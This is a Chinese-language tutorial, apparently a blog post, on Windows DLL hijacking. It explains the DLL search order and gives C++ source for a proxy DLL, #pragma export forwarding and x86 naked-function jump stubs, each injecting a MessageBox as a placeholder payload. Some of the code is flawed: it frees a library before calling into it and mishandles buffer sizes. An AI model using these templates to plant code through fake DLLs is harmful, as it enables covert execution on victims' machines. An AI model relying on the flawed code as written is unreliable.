0x01 简介
DLL劫持技术利用的是Windows对DLL访问时查找DLL位置的一个漏洞,Windows对DLL的默认查找顺序(XP SP2及之后)如下:
1. EXE所在文件夹
2. Windows系统目录
3. Windows 16位系统目录
4. Windows目录
5. 当前文件夹
6. PATH环境变量中指出的目录
当我们在EXE程序中导入了某个DLL文件时,其搜索并使用DLL的顺序就是如上。可以看到第5点我标红了
原因是在XP SP2之前Windows默认的DLL搜寻路径与此不一样,感兴趣可以自己去查找,
由于目前Windows平台操作系统大部分都是Win10至少是Win7,所以便直接用这个顺序作为例子。
那这个顺序到底是什么意思呢? 假设有一个DLL叫做example.dll并且位于Windows目录即C:\\Windows\\example.dll。
然后有一个EXE程序假设名叫a.exe调用了该DLL。
这个漏洞就在于a.exe并不是直接去C:\\Windows中寻找example.dll而是按照上述顺序,即先在a.exe自身所在的文件夹中寻找example.dll,如果没有就去Windows系统目录下寻找一直这样下去....直到找到相同名称的DLL文件为止。
注意这里最关键就是DLL的查到与否是按照DLL名称来确定的,名称一样就算找到了,假设有我们调用的DLL位于Windows目录下,而我们在Windows目录下之前(标号为1-3)的任意目录内放入同名的伪造DLL并在其中执行我们想执行的代码最后转发至原本的位于Windows目录下的DLL让其执行原本的功能,这就悄无声息的成功进行劫持并执行了我们的代码。
0x02 DLL劫持手动构造
这里我们来手动构造一下DLL劫持的过程,手动构造的意思就是通过动态载入和释放。首先给出测试代码:
这里是原本的DLL(即被劫持的DLL):
#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD fdwReason, LPVOID lpReserved) {
TCHAR szFileName[MAX_PATH] = { 0 };
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
GetModuleFileName(NULL, szFileName, MAX_PATH);
_tprintf("Original Dll' Current Path: %s\r\n", szFileName);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return(TRUE);
}
extern "C" __declspec(dllexport) int Add(int a, int b) {
return(a + b);
}
这里是劫持原本DLL的新DLL:
#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD fdwReason, LPVOID lpReserved) {
TCHAR szFileName[MAX_PATH] = { 0 };
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
GetModuleFileName(NULL, szFileName, MAX_PATH);
_tprintf("Dll Path: %s\r\n", szFileName);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return(TRUE);
}
typedef int (*PFNADD)(int, int);
extern "C" __declspec(dllexport) int Add(int a, int b) {
TCHAR szSystemDir[MAX_PATH] = {0};
MessageBox(NULL, "DLL Hijack!", "Info", MB_OK);
GetSystemDirectory(szSystemDir, MAX_PATH);
_tcscat_s(szSystemDir, _countof(szSystemDir) * sizeof(TCHAR), "\\Trojan.dll");
HMODULE hMod = LoadLibrary(szSystemDir);
if (NULL == hMod)
return(-1);
else
_tprintf("Original Dll Path: %s\r\n", szSystemDir);
PFNADD pfnAdd = (PFNADD)GetProcAddress(hMod, "Add");
if (NULL == pfnAdd)
return(-1);
if (hMod)
FreeLibrary(hMod);
return(pfnAdd(a, b));
}
这里是测试代码:
#include <windows.h>
#include <tchar.h>
#include <cstdio>
int _tmain() {
HMODULE hMod = NULL;
hMod = LoadLibrary("Trojan.dll");
if (!hMod) {
_tprintf("加载失败!");
return(-1);
}
typedef int (*PFNADD)(int, int);
PFNADD pfnAdd = (PFNADD)GetProcAddress(hMod, "Add");
if (NULL == pfnAdd)
return(-1);
_tprintf("1000 + 2000 = %d\r\n", pfnAdd(1000, 2000));
if (hMod) {
FreeLibrary(hMod);
hMod = NULL;
}
system("pause");
return(0);
}
来说一下如何使用这些代码:
1. 将两个DLL都改成相同名称
2. 将需要被劫持的DLL放入C:\\Windows\\System32目录下(即Windows系统目录)
3. 将用于劫持的DLL与测试代码文件放在同一个目录下
4. 运行测试代码。
进行如上操作后你就会发现出现了如下:
而原本的DLL功能仅仅是做一个加法。我们执行了自己的代码,也就是一条MessageBox。
0x03 #pragma指令构造函数转发器进行DLL劫持
这种方法是DLL劫持最古老的方法了,利用的是#pragma指令,通过链接器构造转发表。先说一下指令格式:
#pragma comment(linker, "/EXPORT:原导出函数名称=导出原函数的DLL名称.原导出函数名称")
只要在DllMain下方写上这句话就行了。里面的原理就像这样:
这里贴出源代码:
这是劫持用的DLL:
// Trojan.dll
#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD fdwReason, LPVOID lpReserved) {
TCHAR szFileName[MAX_PATH] = { 0 };
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "DLL Hijack!", "Info", MB_OK);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return(TRUE);
}
#pragma comment(linker, "/EXPORT:Add=Old_Trojan.Add") // 构造函数转发器
被劫持的DLL和测试代码与前面0x02中的相同。这里有两注意点
1. 调用劫持用的DLL后要转发回原本DLL。但这里实际上是把原本的DLL复制一份到EXE的目录下名且改成另外一个名称后,让劫持用的DLL直接转发至被改名的原DLL并执行原函数。
2. 函数转发表中要完整构造与原DLL中所有的函数
效果是这样的:
0X04 动态载入方式进行DLL劫持(仅适用于X86)
这种方法其实和0x02中的没多大区别和0x03中的方法也有联系,也需要使用#pragma语法,像是混合体。
这里给出#pragma构造转发表的原型:
#pragma comment(linker, "/EXPORT:entryname[,@ordinal[,NONAME]][,DATA]")
代码如下:
被劫持DLL代码:
#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>
extern "C" __declspec(dllexport) int Add(int a, int b) {
return(a + b);
}
extern "C" __declspec(dllexport) int Sub(int a, int b) {
return(a - b);
}
BOOL WINAPI DllMain(HMODULE hInst, DWORD fdwReason, LPVOID lpReserved) {
TCHAR szFileName[MAX_PATH] = { 0 };
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
GetModuleFileName(NULL, szFileName, MAX_PATH);
_tprintf("Original Dll' Current Path: %s\r\n", szFileName);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return(TRUE);
}
用于劫持的DLL代码:
#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>
PVOID GetAddr(CONST TCHAR* pszFuncName) {
PVOID lpAddress = NULL;
HMODULE hMod = NULL;
TCHAR szDllPath[MAX_PATH] = "C:\\Windows\\System32\\Trojan.dll";
hMod = LoadLibrary(szDllPath);
if (NULL == hMod)
return(NULL);
lpAddress = GetProcAddress(hMod, pszFuncName);
FreeLibrary(hMod);
return(lpAddress);
}
extern "C" __declspec(naked) int New_Add(int a, int b) {
GetAddr("Add");
// GetProcAddress执行完结果存在eax寄存器中
__asm jmp eax
}
extern "C" __declspec(naked) int New_Sub(int a, int b) {
GetAddr("Sub");
__asm jmp eax
}
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD fdwReason, LPVOID lpReserved) {
TCHAR szFileName[MAX_PATH] = { 0 };
HMODULE hDll = NULL;
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
GetSystemDirectory(szFileName, MAX_PATH * sizeof(TCHAR));
_tcscat_s(szFileName, _countof(szFileName) * sizeof(TCHAR), "\\Trojan.dll");
hDll = LoadLibrary("Trojan.dll");
break;
case DLL_PROCESS_DETACH:
if (hDll)
FreeLibrary(hDll);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return(TRUE);
}
#pragma comment(linker, "/EXPORT:Add=_New_Add,@1")
#pragma comment(linker, "/EXPORT:Sub=_New_Sub,@2")
测试代码不变
这种方法其实与第一种完全一样